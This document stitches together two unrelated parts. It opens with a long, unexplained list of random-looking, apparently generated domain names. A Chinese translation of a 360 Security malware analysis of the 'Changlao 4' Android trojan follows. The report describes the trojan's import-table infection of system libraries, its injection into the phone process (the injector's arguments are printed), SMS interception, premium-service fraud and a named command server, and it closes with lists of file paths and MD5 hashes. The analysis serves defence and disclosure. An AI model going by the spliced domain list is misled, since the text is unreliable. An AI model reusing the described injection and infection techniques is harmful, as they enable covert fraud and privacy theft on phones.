nonenukehood-nonipusese.biz
minirodohood-semikimodom-ultraveveship.org
antigefuned.net
imupanarist-postirabance-unuxazure.info
cosaneward.net
microvatuben.com
monosihucument-multimadelate.name
overipomikancy-reketakety-overatahite.org
repinahed-antimipily-macrofaxoward.com
iruhacage.info
macrobikuloship-prepiziless.name
transemecaxite-exizorulive-macrokocaxuness.org
monoroxaty-coditoness-antixeretion.info
postunirancy-emoraboward-misedomuness.org
monotafaty.biz
transotivaless-transemozorancy.net
exodotopal.name
underibuboly-multiguhurity-multisocupoth.net
rezorussion-underaguvitism.net
subobizian.biz
minixakapity-overaxuremian.com
semibufupical-nonefabible.biz
degamufy.com
misevelite.biz
transidivement.info
postofesion.org
irofivunive.biz
disepugassion-enubover-imigogify.org
profatacic.org
imegafivic-interasedekern.org
monotohiciless.name
postefofoment.info
macromovicity-coliziciness-emarifitan.name
macrocebipilike.org
suburusifish-disezulabize.net
nonufekith-prozikitous-exicolasion.biz
postexuletish.org
imidilical.info
ilaromuly-postuvadaty.name
transohunuless-devepotity-inigovipible.org
misuvuboping-disofezify.com
imekocibance.biz
multirigafy-unukazath-imoruxofy.org
rekucenodom-macrovidubohood.com
presifotary-subagidaness-unifiloward.net
semidosabal-prohifosen-irulubuth.net
unozisiship-proxacixite-provapepoment.biz
decikatuward-eximatite-macrotitatous.name
postizomaly-enopidupian.org
antivikogian-resafusument.biz
inehodancy.org
reremuloly-ultravomegance.info
iluceviless-cobesify-misilaxuth.org
probafoloment-multiruvexasion-irodolohood.org
prezunation.name
cosufirith-irurafevese.name
multicitivite-overifisian.org
emeluxiter-underipezoful.name
transonipadable-micromuruculess-transecocevical.net
proludadom-transibisument.info
enubafition-disosaceman.net
subesosify.com
pretasekidom.biz
underiganian-irelonimify-inuxefuful.info
enusesety-disavelen.com
irisamimal-macrofonoth.com
irumanish-disifeneless-postugofodous.com
seminegulate.net
monozibecoly.name
disehohonable-antivosuvant-nonomezed.biz
dekehotosion-antilofotoful.name
macropilepafy-monopanising.org
semilanusement.name
multipahofeward-misemebiness.net
exaxanency-macrokamodith-subelisify.org
nononemolike-iregekoship-recagetism.org
semixufoduful-inaxunition.biz
multizuhaness-misuniziward-prorenanoly.name
underagalussion.name
disemigobancy-antihumument.biz
transicukogan-unedipiness.org
antimuvegancy-semiferisiless.name
comusabish-macroboginision.com
irunukese.biz
transoluvisist-subapivogure-transinebian.com
subezulion.biz
codexutihood-nonopemosion-microhohahish.com
unopihiward-emaduxaness.com
mononedepussion-inumiler-emedepify.com
pronurikous-imunebern-disekiduzary.net
monopukinoful.biz
desizulous.name
overofopiless.name
ultrateresible.info
iladorian-exeripunal.name
overilugoty-macrokegoxure.info
transasudance-monodinaly-cogetamance.info
minixuceth.net
prebavission-transehuvor.net
retaxossion.name
macrosasolike-prezalogity-irinomarage.biz
multigonuvance-overimesetion-transefuzeful.biz
ultrahitacese.info
conadelish.name
mininotonuhood-imitezer-macrobedoship.com
iretosancy.biz
ilotovic.com
monopegality.name
interusabuless-ultranavify-microxapikist.net
semiralobous-antitesenidom-minibomazihood.com
imavabibist-underanagoly.name
transipilukize-rebikeless-interupulission.biz
transocokunite-misomemagian.biz
macropetimufy-irosagish-minisudeward.org
unutexamize-inihorify-subobecoth.net
subicosinan.biz
ultrazotasion.com
prezehiful-conukurern.biz
disuzegite-antisevition.name
codituhish.info
ultrakixuvuship-nonucaculike-semixasihement.biz
overonizetion.info
disegucely-inuberimism.net
antixigeten-nonevinoship-misubinolike.com
monokidobal.com
misevocic-minikanogeness.com
ununacefy-prexefily.info
demunivage-interetimiless.info
minikohivage.name
demafasion.net
emukerufancy-postabiving.net
microcukaxian.com
antitigutite.net
nonafocing.name
enapomiful.biz
comifugor.name
interukadahite-unuzopetn-disimevoxous.org
unorotepize-degekikuward-prevamiful.name
macropoviward-anticodiful.biz
macroholuxufy-emomaceth-misobodefy.org
misevakexic-enomucipary.com
iroridovism.info
interecomeless-disidikission-inonokist.org
emodemozible.name
minidomusion.org
exiheretn-macrozucusion-unuhepian.biz
interurinable-misopitubion.biz
postuxesify.net
nonukefalion-minihekifage.name
macrodibunant-covidugehood.net
exogudipish-ilarazifor-semifurity.info
postiheragic-antizelussion-miniximixetn.biz
overihotoment.name
inovufan.com
rekorikoly-postapohabite-irehiheth.org
resihokument-inedibadom-interukaxobese.com
misidinuward-rehovaful.biz
transahosety-interohexal.net
microfikuty-cozuraness.net
misubipify-regemoziless-disizasahic.com
misapimirese-inifizor.net
misogasous.info
cotosenith-nonekohofion-macrofetuth.org
microrixassion.info
eninazacor-procopament.name
deraxehuward-subazitish.info
postupazety.info
minicakoth.net
misenenunary-multifesakure-transofoxant.com
precurokation-ilalapish.net
semigilitous.com
anticekipic-unetikenancy.biz
enecexodom.info
ultrapoloven-transigamance.com
pretiheful.name
macrodivuward-imizamism-ilahocution.name
minikeseness-misidovate.biz
enolocist-exahazoward-recosifary.com
reroberancy-iraxifous-transevicenern.net
misetepelike-semicadarement-macrokibolike.com
regasoment.name
overafupunern.org
prexuhuled-prebitucossion.info
underavegal-imuduvize.biz
overacuxoping-monodomiment-disoxecing.net
misirepahood-prorolonite.org
microxakeror-microxepation-underuronodant.net
monopikety.name
colanokic-delogisify-cobumuth.com
relacelical-semirehigern.com
subabozihood.org
emeleriward-semimocoful-interifihetion.info
ultramasizeth-rexuricission.info
inepibadom-transexusement-underudokirate.com
relodoful-inazifutor-nonafitipance.name
degakiring-multitamalulike-exosarese.biz
diseburodom.biz
ilivebusion-provovogous-exugikobic.name
inezokussion.info
macrococopish-minituluship-antiluvuless.info
cozafufihood-execuhance-postasahanish.org
microkobotish.com
regofaly.name
disalatible-misubukith.com
subugizobish-postidacage-iruxukical.biz
overupobidom.name
ultratulahood-noneguvive.info
underocukefive.org
subasinufy.com
iresizegal-depufapehood.net
iretokeward-unenecixous.biz
ilivusagage.net
microsihoxical.org
suboxuveness.net
subehefufy.org
antivovavedom-postagoxible.com
semipipedom-deginaship.com
antifahegion.com
emuxehoness-emovoxofency.biz
interulacetn.com
rerenussion-ilezetuxish.org
prexasikable.org
irobusaging-enocegolal.com
antigocossion.biz
enuxagonist-imepehehood-releridom.biz
degixehiness.com
rezedukussion-transaneping.com
semifozussion.info
enehigure-misaxamurist-interexixist.net
nonaxacihood-irebonozish-transevohency.org
imosomable.name
enecimarian-microbifimassion.name
enesuzacity-refopement-transidocodom.biz
postupidic-subedadian-underofoxoment.info
transeguxution-interuhamugism-irihoxeward.net
exivorish.name
dedemify.com
rekitahadom-multipiliship-presidevite.org
monokohohoful-overerukikize.net
propocazify-misahotify-iretesan.name
coparasuship.org
iragopity-overosisement.info
deruzesion.com
suborikapor.biz
enudipern-antixaboly-ultradomovofy.org
antinihiless-multiperediship.net
microtesedom.biz
transukeletn.net
microkisotion.info
ultravixovive-ilohukikish-exopecuhable.biz
overepelument-macropomelike-nonezitiship.org
microdotefize-monobedovite.com
misegisan-interazasoful-ultraxosimen.info
iniricity-monogimikese.net
exifopith-propisuty-macrobiguness.net
resasety-multikobekuth.org
iririmoship-monoxurevance.com
unufazicese-postelagable.org
rexocoful-multiraxovical.biz
denikager-transaderisancy.net
subisivikish-ilurilenan-imisihexist.name
interefifed-nonedapoward-prebonuloly.biz
cogukesuship.com
antikozohotion.name
ilefoxaly-iluxucadize.org
prefadirodom.name
macromezevite-macrozomotoward-suboxezeness.org
repihobary-nonubotath.net
nonixurive.name
inatomeletn.com
imehifoded-derodeward.org
unetolinible-multidofexern-iluhumese.com
exazegetn.info
multikevelike.net
microfidiment-ilolerency-misivezelize.name
minisahimiward-regabokoly-dekezosese.info
iliputobous-microkusession.info
multivepilike-emusoketn-enihenatable.com
imopedahary.info
overimupigish-prozunily.info
ilulohipism-microhasoless.name
underogemement-minifocaman.info
ultrasulahood-iropogision-imomuvuhood.net
rezepuxical-subocinary.info
ultrabesacify-emuferiming.name
underepibible-exarozish.info
transenumument-ultrameresision.org
prokunikency.com
exaduhify-prepexily.info
disugosize-proserahible-emogucern.info
disexeguless.info
inemebous-nonecezancy.biz
enuguvohish.org
rebasotity-postifoner.org
misekozihancy-miniretulelike-anticulevument.biz
transobonetion.biz
overapezor-renihution-interozopoful.name
demexoming-transoratirite-precezerancy.net
prekageren-prodikuzument.name
postufimation.info
postugakive-subodavure.name
demetosith-pronizevission-underogovable.com
antizufossion.info
overifodist-exinutiship-probibalidom.info
detozahood-exehorobify.name
macrohukoxure.info
disigaror.net
subadadutian-underatuzity-imapuxonist.biz
ultraxapohood-unukuxible-inalusacant.org
imidufion-multifaxehood.org
irevitinive-interekemily-devudedefy.com
probekohodom-transohimument.info
multivamision-unabizable-minivifebusion.net
emecazufing.biz
enofelary.net
antivizodidom-underozivuzal.org
semiragotion.biz
ultrataconess-microrogotion.info
ultrahezuveth-nonivocify-unenokith.com
emeciritize.info
minirahision-iroficecic.name
macrofiturive-disabotous-misuxoxoward.com
unimeceth-antifexaty-dexevexoth.net
imuzifuship-antixutoless.name
overumudukist-microfahuhation-undericozist.net
proviburaty-disadufezal.com
imonoroship.net
pretohihotion-macroxerameness-irekiboward.net
unaxadumer-ilufitary.com
subigecilike-remimussion.info
overikelirern.com
emohinan-overekirenion.org
antisizaly-transecegety.name
ilomirism.com
microsuression-ultrabumutive-transisapussion.biz
overorohokic-pretezacian-misilefusion.org
monoxatocan-imavitulency-eniguboring.net
unuzugable.biz
postiduvern.org
micromomabed-semikikefage.net
antimineful-interanosotion-transulicate.com
renavilaty.biz
multigidumable-disefezage-irebekency.name
inugecism.org
ememozian-interapurossion.info
ilecevish.org
antihusiment-macrovarilision-semisoxument.name
minixecumoward-antibevunely.biz
macroguzofy-exuluparical.name
postutasian-emosolosor.name
macromagehood-exarexofion-depetihood.com
misipivixency-transerezucing-monobegofassion.biz
ilizehidom.name
ultrafaruhood-prohudodom-overatopument.info
enurudition-multigidohood-exorovusion.com
misebataness-antifupition.info
cosefuness-antikufeputy-transenuvous.net
prexubupossion.name
ultranucopite-multifevuship.net
profahudom-ultraxediship.org
prexevadom.biz
transipekal.org
monogixition.info
overuletedite-misokorism-enetunan.net
rezobucous-prodotily-ultraleveward.org
imogugomed-ultradomukaship-prodezavadom.info
ultranotohood-mononuzocotion-minipariveness.org
monovuvecish-monohedonaless-ultramurahuship.org
subanomigate-underogozeful.info
ultrafohuward-imuheber-interasiririze.net
imuhuxoth-misefatasive.biz
transosurugen-nonumovern-macroxanulike.org
unofafuhood-misasusomism.biz
enuvahion-nonelipical-interolugor.org
suboserite-underuxafakous-subatihoward.com
prepamovary-iresucefy-emagabive.name
interafuxession-delosorolike.com
unixagihood.com
unasodatite-overugasist-semivobuduty.info
macrovafith.com
ematogafible-interaxologor-iregiding.info
derivacing-iloxeheful-inecemed.org
microseboful-transebisation-degokition.biz
postorabity-miselugific-minizahiward.com
monokacily.name
underucotal-monobunedoless-minikulify.net
receziless-ultradasify-prefazofish.org
monolalession.name
underizonedom-macropodavuhood.net
misopoval.name
underivadant-semibofixoty.info
minipeboxing-deracocify.biz
overumakency-prekozulure.com
exufifision.com
prezalehaly.info
dekasafy-imevinupable.info
coviviship-pronehaless.info
ultratovibuhood-microburodom.info
underucebohical.net
antitegabussion-devumuth-revexorical.com
iritukan-interatadite-misafegoth.com
semibizolument-underotaxive.net
misilaracal-minisomudese.name
cobevahant-minimufocity-cotoxanoth.com
prozapetament.info
underumamotion-interediripite.org
exofecukity.biz
underusimant-unigaverical.info
underarixogage.org
iripabath-irecuboxible.info
underobomipous-imofevazancy.info
dekegexive-derokukith.net
microbigukement-overazoredom.info
postaruxanant.com
remenuty-postexinity.org
irohorafy-antixomafese.org
exanisary-disomugetn-rekamaty.name
interasupukity-emufucoship-semibumaless.info
macronoboship-probihohodom.info
enorasancy-irenagion-underexelozer.net
prevesuxage-prevakomous-exorovage.info
inehegely-enolobocical.net
iranuzulike-subibeneship-misezomor.name
interipurusist-antimafidom-multinedisency.info
overidaturary-antikezuful-dexepovish.name
ultrakorudath-exofabidern-cogenakulike.org
semipodofate-misibogesion-unasobuhood.org
emubicodency-interotupure.net
imetocirian.biz
underunazency-microrisover-antineheless.biz
macrocumubohood-emukafosion-subupenure.info
depifesion-suburinipible-interinokage.com
unihogish.name
minilugovefy.net
semigakitan.net
misuviking-transidodunate.com
antimupacary-unixosaward.com
imizagution-cokivaxoship-emavavism.info
postivikism-prefuvezedom-denihuship.org
irirecupist.biz
cofiresary-dedidigage-multivucaness.com
relarity-inagomese-exaderaward.net
nonusonuth-exifaxufy.net
subinobese-transinacibic.net
exegudous-underitifiment.info
multicupapize.info
posticazalish-emedokician-transezuraless.info
ultranepacihood.net
unorubese-inozoficese.org
unocacish-enoniculy.biz
inakirission-multihigutite-dedafuleship.net
imenazotian-ilesafance.com
anticocacable-imonifion-interapopation.biz
mininovition-underucuxety-transamurizancy.com
emozonous.biz
overofucodom-ultrafizudive-enekaconism.org
recitofuly-multikobepofy.org
semixexiless-ilagamic.org
prerozunodom-interixudoment.biz
underanipetn-imanodidible-ultraropagic.name
multikafenoth-antiguhipassion-multilitebern.info
ultralufetous-underecanagive.net
semihesegite-nonilakal-postubetinese.net
nonepitopible-overozuzate-emuxevive.name
ultrafikuth.org
micronixogage-prerihapian-monomibession.info
transahihancy-semizehogament.info
minihihokuward.net
imenipapary-inubuharist-prebemunedom.name
disixadible-monocirecing.org
exixefugal-inaxedoty.biz
postunolobage-premugossion-dexokacate.name
multizocisehood-nonulafapous.name
ultracimosary.info
enotufassion-minikavunous.biz
inuhamage.net
misulonupism.info
desemamoth-recabalible.org
semixukehify-semihofenoment.name
transaroran-subobukezish.name
macrotaxigian-degoxobance-ilidilant.org
antitamokaless-ilusulussion-inaretiless.name
inelocument-enazobity.net
pretetegize.com
prosimetion-interamexish-misexesency.info
underofogize-iruposision.com
nonopegeker-enorefuty.info
disokehamary.org
unetikuhood.org
nonisuzilant-intererevafian.org
prenukorive-semimelekical-semixuxihement.biz
overaxehous-misugutuhood-nonubetabate.name
ilunomabify-unonebern-devicepant.biz
ilegugize.org
exofiralike-imakefebous-inomaluzed.com
antidavumetn-regulanuty-inenidure.org
exupamify-subixosoth.com
regahagize-antitaliless-underoparossion.name
multicefolike-antilihelite-proxunezate.com
semimuxoment.info
disuhosate-nonasilahood.net
prepevation-postebixish-probunedom.info
* * * | 社区文章 |
# “蜥蜴之尾”——长老木马四代分析报告
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
随着移动端安全软件对APK的查杀能力趋于成熟以及Google对Android安全性重视的提高,病毒与反病毒的主战场已逐渐从APP层扩展到Linux底层。而且病毒作者也开始把PC端的病毒自我保护手段运用到移动端上,在移动端大量使用了免杀、加密、隐藏、反虚拟机等传统PC端病毒自我保护技术。但是之前一直还未出现过通过感染技术实现自我保护的病毒,此次,360安全团队首次发现了在Android系统中通过感染方式隐藏自身恶意代码的木马病毒——长老木马之四。
**0x00 长老四之前世今生**
去年11月份,360安全团队截获了恶意手机木马“长老三代”,详细剖析挖掘了长老木马的整个有机生态链。并从传播源头开始进行强力打击,致使猖狂一时的长老木马迅速地消声灭迹。近期360安全团队发现改头换面的新版长老木马又“重出江湖”。
分析后发现,木马与“长老三代”有紧密的关系,在长老木马三代“疯狂崛起”时,以其子模块的形式存在,功能有限,而且也不具备对抗安全软件的能力,因此,我们将其命名为“长老四代”。
长老木马三代核心主体模块debuggerd与此子模块耦合度非常高。比如子模块由虚假debuggerd来启动,而且子模块运行时需要访问由假冒debuggerd下载生成的文件读取远程服务器地址,下载地址等。经过木马作者的“精心改进”后,子模块从“私生子”华丽“蜕变”为长老木马核心模块。
**0x01 进化篇**
与之前老版本相比,虽然在恶意行为特征上仍然以隐私劫取、恶意扣费为主,但是自我保护与对抗安全软件方面有较大技术突破。例如,在移动安全领域首次采用了静态感染技术,感染系统运行依赖的lib文件,加大了查杀难度。此外,还采用相似文件路径欺骗法、
样本MD5自变化等传统PC端的病毒技术。下图的文件MD5分别为778ff1b54aaf88075523f1a8b7c233f9、3a93af95ec45aabb44018fdc4dd34243。
图1 两个长老4代 ELF可执行文件的对比
对比可以看出,是文件末尾嵌入32位长度的字符串,导致同一版本长老四,出现几十万个变种。进一步分析发现,长老四会读取这段字符,解密后当作KEY,用于私有数据库等配置文件的AES/DES加密与解密。代码如下:
图2 获取AES密钥的部分代码
长老木马的进化如下:
图3 长老四代进化图
经过一段时间的观察与分析,我们梳理了“长四”的发现过程及关键的时间节点,如图所示:
图4 长老四代发现过程及响应
**0x02 行为分析**
长老木马四代主要分为launcher和核心作恶的ELF可执行模块。ELF可执行模块又包括distillery、plugins及redbean三个主要部分。
redbean模块会注入系统Phone进程,具有Phone进程权限,可以在未经用户允许下,后台私自订购SP业务,屏蔽订购确认和成功短信,给用户造成经济上的损失。
长老木马四代作恶流程如下:
图5 长老四代流程图
从启动方式来看,长老三代主要以替换系统原生文件为自身镜像,随系统启动时执行,由于安全软件对于这种类型的查杀方法已比较成熟,长老木马四代采用更加隐蔽的“静态感染”启动方式,将恶意代码插入到被感染的系统文件,在被感染系统文件中完成长老木马四代的启动工作。长老四代是在Android系统中首次采用感染技术的木马。
**“长老四代”静态感染启动原理如下:**
1、感染守护进程启动时依赖的正常库文件。在库文件的导入表里添加launcher的路径,使守护进程随操作系统启动时,加载并执行launcher的恶意代码。如下图所示,被感染的系统库文件的导入表中包含恶意库文件libs6x.so的路径。
图6 被感染的系统库文件systembinlibglog.so
2、Linux的动态链接器在加载ELF可执行文件或动态链接库时完成装载、映射、重定向后,首先依次执行pre_init、init、init_array节中描述地址指向的函数。这些函数都是早于入口点执行的。
图7 Launcher的init_array节
Linux的动态连接器执行这些函数的初衷原来是为了程序执行前初始化C++静态构造函数,C库的IO等等。木马作者巧妙利用Linux动态链接器对ELF文件的装载原理,在init_array段里写入了启动病毒长老四代的代码。
图8 启动长老木马可执行文件的代码片段
这种“静态感染”方式加大了我们的查杀难度。首先,增强了长老四代的隐蔽性,被感染的系统文件装载时加载恶意launcher,接着launcher启动ELF可执行文件。由于被感染的系统库文件除了导入表多了一行字符串(launcher的路径)之外,与其他正常系统库文件完全相同,容易躲过安全软件的“火眼金睛”。其次,增加杀毒软件的修复难度,由于被感染的库文件随系统进程启动时尝试加载导入表中的所有so文件,可能会因为安全软件的暴力删除导致手机系统挂机。
长老四代被launcher调度启动后,会生成隐藏的空文件“/data/local/tmp/.l1”和“/data/local/tmp/.l6”。根据长老木马版本,这些隐藏的空文件名有所不同。随后,生成加密的主体模块“distillery-1.0.7.drk”,解密后生成“distillery.dex.jar”,并加载执行其中的函数“com.alkohol.Main.main”。
主要模块说明如下:
distillery
distillery.dex.jar为长老木马四代病毒的核心主体框架,实现长老四代的核心功能。distillery模块的“com.alkohol.Main.main”函数,运行时接受4个参数:
arg0=长老木马路径、arg1=null、arg2=长老木马版本、arg3=null。
图9 长老木马运行时实际传递的参数值
distillery框架运行后生成的主要文件及文件夹:
图10 长老四代生成的主要文件及文件夹
图11 实际运行时留下的的文件及文件夹
核心插件
distillery主体框架启动后会解密plugins下的所有加密drk文件,并加载到内存中。
这些插件实现了接受远程服务端指令、恶意扣费、短信拦截监控、心跳、日志提交、下载和更新插件等长老木马四代的所有核心功能。
图12 插件列表
其中,具备核心功能的插件有mojito、margarita和gin。
mojito插件:完成手机短信监控的功能,过滤关键词由远程服务器下发,主要屏蔽SP扣费业务订购成功或确认短信,使用户无法察觉到自己订购了SP业务,短信监控相关部分代码如下:
图13 短信监控插件部分代码
Margarita插件:完成手机扣费功能,实现扣费功能的代码片段如下:
图14 付费插件部分关键代码
Gin插件:注入相关核心模块,解密后是redbean.dex.jar。redbean.dex.jar打包了whitebean和libblackbean模块。whitebean和libblackbean的最终目的是把readbean.dex.jar注入到Phone进程中。注入成功后readbean.dex.jar可以实现读取拦截短信内容,后台拨号等敏感恶意行为。
长老四代的注入流程是,whitebean在远程进程中加载libblackbean.so,libblackbean.so调用JNI_CreateJavaVM实现加载核心模块readbean.dex.jar。
whitebean启动时接受6个参数:
arg0=待注入的目标进程、arg1=负责加载jar的so模块、arg2=核心模块、arg3=保存临时dex文件(jar运行时生成的临时dex存放路径)、arg4=运行模式(Debug模式和Release模式)、arg5=服务端日志存放路径。
运行时实际传递的参数值:
./whitebean
com.android.phone
libblackbean.so
/data/usr/readbean.dex.jar
/data/usr/cache Release
/data/usr/server.log
whitebean运行后在远程进程com.android.phone的导入表中搜索获取dlopen、
dlsym、dlclose、dlerror等函数的调用地址,通过这些函数实现远程加载libblackbean.so,并调用libblackbean.so的inject_entry函数,把其余的参数(redbean.dex.jar、/data/usr/cache
Release、/data/usr/server.log)全部传递给它。
libblackbean.so的inect_entry导出函数被执行后,调用JNI_CreateJavaVM加载redbean.dex.jar,并且调用redbean.dex.jar中com.android.phone.os.Program的Main函数。以此整个注入过程结束,下图为注入过程相关运行日志。
图15 注入过程相关运行日志
Redbean
Redbean模块注入到Phone进程后具备了与Phone进程相同权限,可以获取敏感短信内容(比如手机验证支付密码)、私自订购SP业务、拦截短信(拦截删除SP订购成功短信)、后台拨号、关闭WIFI、打开G网等。
其函数com.android.phone.os.Programs.main被调用时接受2个参数:
arg0=运行日志保存路径、arg1=日志输出级别。
main函数首先会初始化16个Command类。这些类会根据远程服务端下发的指令实现IMSI获取、短信发送与拦截、短信读取、切换APN、获取用户地里位置等指令。
图16 初始化16个Command类
注入后,发送用户手机信息(包括病毒版本、IMEI、IMSI、MAC地址等)到远程服务器(v9bt.heycould.org/crutch):
图17 发送的用户信息
接着监听本地3549端口,等待远程服务端下发指令:
图18 握手连接过程
****
**0x03 长老四背后的阴谋**
我们在跟进长老木马四代时,发现了疑似作者开发的木马测试程序。主要有注入测试程序和SP业务订购测试程序。
1、注入测试程序
通过该测试程序我们能更加清晰的了解木马作者的意图。木马作者编写调试工具对自己编写的所有模块的功能进行了全面测试,如获取手机信息、注入行为成功与否、短信屏蔽与拦截、短信发送、APN切换等多种功能。
下图中可以看到几个非常敏感的功能,比如“后台通话”、“编辑屏蔽内容”、“注入”等:
图19 redbean注入测试程序
后台通话功能可以在后台给某特定电话号码拨号。在测试程序中发现了木马作者用作测试用的手机号,该手机号是否为木马作者本人还无法确定。
图20 后台通话测试相关代码
2、SP业务订购测试程序
木马作者为了方便测试SP业务订购模块,还做了SP业务订购测试工具。从该测试工具中可以看到木马作者事先已开通了SP业务通道,通过发送短信验证订购SP业务,并屏蔽掉SP提供商发送的确认短信和定制成功短信等。
图21 SP业务订购测试程序
测试程序的开发期时间线:
图22 木马测试工具开发时间线
测试程序的IP地址主要集中在北京与天津,美国也曾出现过,从开发的频率中可以看出,在2015年春节的时候,是开发版本最少的,5月和8月的高峰期,是主要功能的开发,作者对10多个手机品牌进行了病毒兼容性测试,在测试程序开发初期的2014年6月到2015年初进行了大量的兼容性测试,开发者主要使用的手机有ZTE_P6、
TCL_S960、 VOTO_V6、Sony_S39h。从这些数据推测病毒开发者应该是团队合作,具有测试流程的专业团队。
****
**0x04 感染数据统计**
我们从360安全中心后台统计该木马总感染量已经超过80万,近半年感染趋势如下图所示:
图23 长老四代感染数量
受长老四代影响的手机用户机型和系统也是非常的广泛,感染该木马的机型和系统分布如下图所示:
图24 木马感染机型分布
图25 木马感染系统分布
从地域分布来看,广东省是受到该木马影响最大,分布图如下图所示:
图26 木马感染地域分布
****
**0x05 解决方案**
随着360手机急救箱用户数的增长,被查杀到的木马越来越多,360手机急救箱独有的深度完整扫描,可以深度扫描和完美清除底层ELF病毒和APK病毒,目前市场上的主流手机安全产品几乎没有支持ELF完整深度扫描的功能,如果您的手机刷过第三方ROM或者手机已经Root,建议您采用360手机急救箱进行一次完整的深度扫描,帮助您安全用机。
附录一:长老木马四伪装的系统文件
/system/bin/playlpn
|
/system/bin/tinycapr
---|---
/system/bin/sdiokit
|
/system/bin/racdvd
/system/bin/kyexe
|
/system/bin/mkaswap
/system/bin/setfatr
|
/system/bin/tunefs
/system/bin/chcomn
|
/system/bin/s6xd
/system/bin/getnforce
|
/system/bin/swaproff
/system/bin/bcdcmd
|
/system/bin/md2pd
/system/bin/rstrcon
|
/system/bin/dtfexe
/system/bin/lpnkey
|
/system/bin/ftmdmn
/system/bin/thrmal
|
/system/bin/tinyplayr
/system/bin/hvdcpy
|
/system/bin/setnforce
/system/bin/lowcat
|
/system/bin/ipoctl
/system/bin/setsebl
|
/system/bin/dhdp6s
/system/bin/rildm2
|
/system/bin/npsobex
/system/bin/confwexe
|
/system/bin/ccaptst
/system/bin/hciattch
|
/system/bin/ntfsfixr
/system/bin/mc640d
|
/system/bin/srvcext
/system/bin/getsebl
|
/system/bin/clatdc
/system/bin/smdiexe
|
/system/bin/ddcexe
附录二:长老木马四代launcher的文件名
/system/lib/libbcd.so
|
/system/lib/libkye.so
|
/system/lib/libs6xd.so
---|---|---
/system/lib/libbcdcmd.so
|
/system/lib/libkyexe.so
|
/system/lib/libsdi.so
/system/lib/libcca.so
|
/system/lib/liblan.so
|
/system/lib/libsdioki.so
/system/lib/libccapts.so
|
/system/lib/liblow.so
|
/system/lib/libsetfat.so
/system/lib/libchc.so
|
/system/lib/liblowcat.so
|
/system/lib/libsetnfo.so
/system/lib/libcon.so
|
/system/lib/liblpn.so
|
/system/lib/libsetseb.so
/system/lib/libchcomn.so
|
/system/lib/liblpnkey.so
|
/system/lib/libsim.so
/system/lib/libcla.so
|
/system/lib/liblsm.so
|
/system/lib/libsimg2l.so
/system/lib/libclatdc.so
|
/system/lib/liblsm3cm.so
|
/system/lib/libsmd.so
/system/lib/libcon.so
|
/system/lib/libmc6.so
|
/system/lib/libsmdiex.so
/system/lib/libconfwe.so
|
/system/lib/libmc640d.so
|
/system/lib/libsrv.so
/system/lib/libddc.so
|
/system/lib/libmd2.so
|
/system/lib/libsrvcex.so
/system/lib/libddcexe.so
|
/system/lib/libmd2pd.so
|
/system/lib/libthr.so
/system/lib/libddd.so
|
/system/lib/libmka.so
|
/system/lib/libthrmal.so
/system/lib/libdhd.so
|
/system/lib/libmkaswa.so
|
/system/lib/libtin.so
/system/lib/libdhdp6s.so
|
/system/lib/libnps.so
|
/system/lib/libtinyca.so
/system/lib/libdtf.so
|
/system/lib/libnpsobe.so
|
/system/lib/libtinypl.so
/system/lib/libdtfexe.so
|
/system/lib/libntf.so
|
/system/lib/libtun.so
/system/lib/libftm.so
|
/system/lib/libntfsfi.so
|
/system/lib/libtunefs.so
/system/lib/libftmdmn.so
|
/system/lib/libpla.so
|
/system/lib/libswa.so
/system/lib/libgetnfo.so
|
/system/lib/libplaylp.so
|
/system/lib/libswapro.so
/system/lib/libgetseb.so
|
/system/lib/libracdvd.so
|
/system/lib/libget.so
/system/lib/libgeu.so
|
/system/lib/librac.so
|
/system/lib/libset.so
/system/lib/libhci.so
|
/system/lib/libril.so
|
/system/lib/libs6x.so
/system/lib/libhciatt.so
|
/system/lib/librildm2.so
|
/system/lib/librim.so
/system/lib/libhvd.so
|
/system/lib/librstrco.so
|
/system/lib/libipoctl.so
/system/lib/libhvdcpy.so
|
/system/lib/librst.so
|
/system/lib/libipo.so
附录三:长老木马四代MD5
329846b610c76e884095ea9d5f5c8834
---
082bf566cc352c394577af7f1f797ae5
4659b1400f48318d0f63c47dc2b9b72e
a86827029a76240557e6c30b2792df14
789295e3d7887a4c3c32b3a6e75e554f
cef52d7da4882ab0a0501842d394295a
2dab85922133d23af30daa3d77d09476
f7ba67aa8d5675f18990375e3454235b
eac6a1cbae6f58a44cdbf7238ef91fa2
0dbf5bdfc6dd1bca39cff140e4fc7d59
d4e4e3f6cbef3808f8ad917a540f836d
da7a39444869e39264f8f1ddc9c42a97
e42b6ce6c3931989c975ce59c457d66a
e111dcc031a84ef725bcf3e81ed71f36
8de2c6ae586916cba989e0019105d274
ad18e3a36d3a67e1ecbc2220cae1483f
8e2b79548050e4b9ad60d1d984f12d9d
933a65e0105c4c0f5440aeffb3c1a764
8b2bd87da31254ef4ecb4ffcb8f26aa6
ae4936e5aad44b320f2bf5d698c92db4
706c4b63184a2ab2f809169a2b8fe9eb
803573b88583e4b81dec39643d6f41b7
09ba245c80582cf115a870f43f3bc053
09dbbc772799723e43c34c9fae2f4ad8
0ae3e4a351cfe9d6228296537db418ec
0fd672c1f0333403a59bbdf04c0af05e
148c7874455c10834f0e7937f15dbddf
18d8f5803e1f580c2410bb98b59a127d
22046f82b2a72e5686603ab538b3a08a
24af8fc3faf1a488d444e9a4de066073
25e881576d9c389e445787626f6cf43f
2cce7a5f8d1b64b8f5b2e2760cc85894
33d5e3e723d3873420fc70a767de5e40
37fc9630b0dabe98b6d23bf6e5cc3aa2
3b2d947123032f130938fb361d2bd2cd
3feab5d93fe5ff6a17f43ecfccd52274
45bf3cd32b9926ad516dd114c2f86fd2
5562b855d6355c963e12a66bea648c9e
55eb106019a630b89b506feda186c287
5e9053e17e962cbbd8b36d6b1077684a
5ff96879be23ac965bc2e2b6ded9234e
60bab93a8a7930334283aee53089c746
6289059110505539e2feb61aecfcafee
6405d4d65e2a7e124f6b067a87e2a3c3
691fe3e6f56fc2dcb2acd67c68c95c16
73f98eaa2ce77a5027a5dbff80841b90
79f1d3d921279777a0922e09c579815c
7b8dfae2e5bedec452af3c2187d3dfdf
8bb83547ec903cbb272ec21e6ff8c11e
99b246167b11d9aa912a346a3f976486
9ded2e0b0557a18412ff8d17141594df
9fdc479b76099b099ad85fafb3d80d17
a5dcad67df52793cc72a706697ddfb00
a91fb51b9ecaff59e0aa3f9131ae9f0d
b7a29b102f332dc7ddc94c86d514e9fc
bf12b4062293e553878e5a8ed5e5c8ee
c372ab758d39e6e03ac544c053dba011
c4a942a1b5cffd89f79b9ed9c0dc7fc1
相关阅读链接
